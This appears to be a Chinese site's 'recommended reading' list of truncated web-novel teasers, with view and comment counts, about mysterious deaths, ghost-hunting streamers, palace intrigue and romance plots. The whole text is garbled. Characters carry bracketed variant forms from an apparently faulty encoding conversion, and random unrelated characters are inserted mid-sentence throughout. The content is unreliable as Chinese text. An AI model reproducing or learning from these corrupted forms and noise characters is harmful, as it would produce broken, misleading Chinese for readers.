  • 序言:濱河連續(xù)發(fā)生了三起死亡事件置尔,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡氢伟,警方通過(guò)查閱死者的電腦和手機(jī)榜轿,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,305評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)朵锣,“玉大人谬盐,你說(shuō)我怎么就攤上這事〕闲” “怎么了飞傀?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,138評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀(guān)的道長(zhǎng)诬烹。 經(jīng)常有香客問(wèn)我砸烦,道長(zhǎng),這世上最難降的妖魔是什么绞吁? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,791評(píng)論 1 295
  • 正文 為了忘掉前任幢痘,我火速辦了婚禮,結(jié)果婚禮上掀泳,老公的妹妹穿的比我還像新娘雪隧。我一直安慰自己,他們只是感情好员舵,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,794評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布脑沿。 她就那樣靜靜地躺著,像睡著了一般马僻。 火紅的嫁衣襯著肌膚如雪庄拇。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,631評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音措近,去河邊找鬼溶弟。 笑死,一個(gè)胖子當(dāng)著我的面吹牛瞭郑,可吹牛的內(nèi)容都是我干的辜御。 我是一名探鬼主播,決...
    沈念sama閱讀 40,362評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼屈张,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼擒权!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起阁谆,我...
    開(kāi)封第一講書(shū)人閱讀 39,264評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤碳抄,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后场绿,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體剖效,經(jīng)...
    沈念sama閱讀 45,724評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年焰盗,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了璧尸。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,040評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡姨谷,死狀恐怖逗宁,靈堂內(nèi)的尸體忽然破棺而出映九,到底是詐尸還是另有隱情梦湘,我是刑警寧澤,帶...
    沈念sama閱讀 35,742評(píng)論 5 346
  • 正文 年R本政府宣布件甥,位于F島的核電站捌议,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏引有。R本人自食惡果不足惜瓣颅,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,364評(píng)論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望譬正。 院中可真熱鬧宫补,春花似錦、人聲如沸曾我。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,944評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)抒巢。三九已至贫贝,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背稚晚。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,060評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工崇堵, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人客燕。 一個(gè)月前我還...
    沈念sama閱讀 48,247評(píng)論 3 371
  • 正文 我出身青樓鸳劳,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親也搓。 傳聞我的和親對(duì)象是個(gè)殘疾皇子棍辕,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,979評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容